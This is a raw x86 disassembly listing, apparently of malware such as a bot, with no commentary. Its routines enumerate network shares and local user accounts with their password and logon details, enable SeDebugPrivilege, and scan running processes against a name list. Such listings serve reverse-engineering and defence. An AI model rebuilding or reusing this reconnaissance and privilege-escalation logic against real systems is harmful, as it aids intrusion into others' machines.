		push	edi
		push	[ebp+arg_C]
		call	sub_418C2B
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_418CC8:				; CODE XREF: sub_418C8F+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB598
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2B
		cmp	ebx, 0EAh
		jz	short loc_418D2B
		push	ebx
		push	ebx
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439788
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_418D98
; ---------------------------------------------------------------------------


loc_418D2B:				; CODE XREF: sub_418C8F+5Dj
					; sub_418C8F+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8F
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D39:				; CODE XREF: sub_418C8F+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB53C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D50
		mov	eax, offset aNo	; "No"


loc_418D50:				; CODE XREF: sub_418C8F+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D39
		xor	esi, esi


loc_418D8F:				; CODE XREF: sub_418C8F+A2j
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_418D98:				; CODE XREF: sub_418C8F+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC8
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DB0	proc near		; CODE XREF: sub_401ACD:loc_4061EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E55
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF2
		dec	eax
		jz	short loc_418DE7
		dec	eax
		jnz	short loc_418E0D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF7
		add	esp, 14h
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DE7:				; CODE XREF: sub_418DB0+1Dj
		push	ebx
		push	edi
		call	sub_418ED6
		pop	ecx
		pop	ecx
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DF2:				; CODE XREF: sub_418DB0+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E06
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7C
		add	esp, 0Ch
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418E06:				; CODE XREF: sub_418DB0+45j
		push	57h
		pop	eax


loc_418E09:				; CODE XREF: sub_418DB0+35j
					; sub_418DB0+40j ...
		cmp	eax, edi
		jnz	short loc_418E2D


loc_418E0D:				; CODE XREF: sub_418DB0+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439094[eax*4]
		push	offset unk_439840
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418DB0+5Bj
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439090[eax*4]
		push	offset unk_439810
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418DB0+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB4D0
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4397E8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E75:				; CODE XREF: sub_418DB0+7Bj
					; sub_418DB0+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7C	proc near		; CODE XREF: sub_418DB0+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2B
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB52C
		pop	edi
		leave
		retn
sub_418E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED6	proc near		; CODE XREF: sub_418DB0+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB51C
		pop	esi
		retn
sub_418ED6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF7	proc near		; CODE XREF: sub_418DB0+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB6AC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929F
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192DA
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419016
		dec	eax
		jz	short loc_41900F
		dec	eax
		jz	short loc_419008
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419008:				; CODE XREF: sub_418EF7+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_41900F:				; CODE XREF: sub_418EF7+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419016:				; CODE XREF: sub_418EF7+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901B:				; CODE XREF: sub_418EF7+10Fj
					; sub_418EF7+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CB
; ---------------------------------------------------------------------------


loc_41929F:				; CODE XREF: sub_418EF7+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439860
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A73
		add	esp, 20h


loc_4192CB:				; CODE XREF: sub_418EF7+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192DA
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_4192DA:				; CODE XREF: sub_418EF7+40j
					; sub_418EF7+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E0	proc near		; CODE XREF: sub_401ACD+473Cp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2B
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_41931F:				; CODE XREF: sub_4192E0+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB5B4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419380
		cmp	eax, 0EAh
		jz	short loc_419380
		push	eax
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439A50
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_419380:				; CODE XREF: sub_4192E0+62j
					; sub_4192E0+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940E
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FB


loc_419392:				; CODE XREF: sub_4192E0+EDj
		cmp	edi, esi
		jz	short loc_4193D1
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419392
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_4193D1:				; CODE XREF: sub_4192E0+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439A1C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4193FB:				; CODE XREF: sub_4192E0+9Ej
					; sub_4192E0+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940E
		push	edi
		call	dword_4CB6E4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940E:				; CODE XREF: sub_4192E0+A5j
					; sub_4192E0+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931F
		cmp	edi, esi
		jz	short loc_419426
		push	edi
		call	dword_4CB6E4


loc_419426:				; CODE XREF: sub_4192E0+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419460	proc near		; CODE XREF: sub_418A99+41p
					; sub_418C8F+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419512
		jz	loc_41950B
		cmp	eax, 7Bh
		ja	short loc_4194D7
		jz	short loc_4194CD
		cmp	eax, 5
		jz	short loc_4194C3
		cmp	eax, 8
		jz	short loc_4194B9
		cmp	eax, 32h
		jz	short loc_4194AF
		cmp	eax, 35h
		jz	short loc_4194A5
		cmp	eax, 57h
		jnz	loc_419561
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194A5:				; CODE XREF: sub_419460+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194AF:				; CODE XREF: sub_419460+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194B9:				; CODE XREF: sub_419460+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194C3:				; CODE XREF: sub_419460+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194CD:				; CODE XREF: sub_419460+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194D7:				; CODE XREF: sub_419460+1Aj
		sub	eax, 7Ch
		jz	short loc_419504
		sub	eax, 7C8h
		jz	short loc_4194FD
		dec	eax
		jz	short loc_4194F3
		dec	eax
		jnz	short loc_419561
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194F3:				; CODE XREF: sub_419460+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194FD:				; CODE XREF: sub_419460+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419504:				; CODE XREF: sub_419460+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41950B:				; CODE XREF: sub_419460+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419512:				; CODE XREF: sub_419460+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954B
		jz	short loc_419544
		sub	eax, 8ADh
		jz	short loc_419576
		dec	eax
		dec	eax
		jz	short loc_41953D
		dec	eax
		jz	short loc_419536
		dec	eax
		dec	eax
		jnz	short loc_419561
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_419460+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_419460+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419544:				; CODE XREF: sub_419460+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41954B:				; CODE XREF: sub_419460+B9j
		sub	eax, 8CAh
		jz	short loc_41957D
		sub	eax, 17h
		jz	short loc_419576
		sub	eax, 25h
		jz	short loc_41956F
		sub	eax, 29h
		jz	short loc_419568


loc_419561:				; CODE XREF: sub_419460+35j
					; sub_419460+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419568:				; CODE XREF: sub_419460+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41956F:				; CODE XREF: sub_419460+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419576:				; CODE XREF: sub_419460+C2j
					; sub_419460+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41957D:				; CODE XREF: sub_419460+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419582:				; CODE XREF: sub_419460+40j
					; sub_419460+4Aj ...
		push	offset dword_4DB270
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DB270
		pop	ecx
		retn
sub_419460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419594	proc near		; CODE XREF: sub_401ACD+4782p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26D0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB664
		test	eax, eax
		jnz	short loc_419624
		mov	esi, offset dword_4DB06C
		push	offset unk_439D84
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964D
; ---------------------------------------------------------------------------


loc_419624:				; CODE XREF: sub_419594+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_419460
		pop	ecx
		mov	esi, offset dword_4DB06C
		push	eax
		push	offset dword_439D58
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964D:				; CODE XREF: sub_419594+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419652	proc near		; CODE XREF: sub_416F1B+45p
					; sub_416F1B+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2720632h
		nop
		push	eax
		call	dword_4CB638
		test	eax, eax
		jnz	short loc_419671
		leave
		retn
; ---------------------------------------------------------------------------


loc_419671:				; CODE XREF: sub_419652+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB610
		test	eax, eax
		jz	short loc_4196AF
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419698
		or	[ebp+var_8], 2
		jmp	short loc_41969C
; ---------------------------------------------------------------------------


loc_419698:				; CODE XREF: sub_419652+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969C:				; CODE XREF: sub_419652+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB6C0
		mov	esi, eax


loc_4196AF:				; CODE XREF: sub_419652+32j
		push	[ebp+var_4]
		call	near ptr 2670894h
		nop
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BD	proc near		; CODE XREF: sub_401ACD+7916p
					; sub_4198EC+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB674, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BC
		cmp	dword_4CB658, ebx
		jz	loc_4198BC
		cmp	dword_4CB568, ebx
		jz	loc_4198BC
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB674
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AF
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB658
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198AA
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB568
		test	eax, eax
		jz	loc_4198AA
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419781:				; CODE XREF: sub_4196BD+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E8
		mov	[ebp+var_4], offset off_439DB0


loc_41978F:				; CODE XREF: sub_4196BD+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 28310A5h
		test	eax, eax
		jz	short loc_4197B7
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439E10
		jb	short loc_41978F
		jmp	loc_419890
; ---------------------------------------------------------------------------


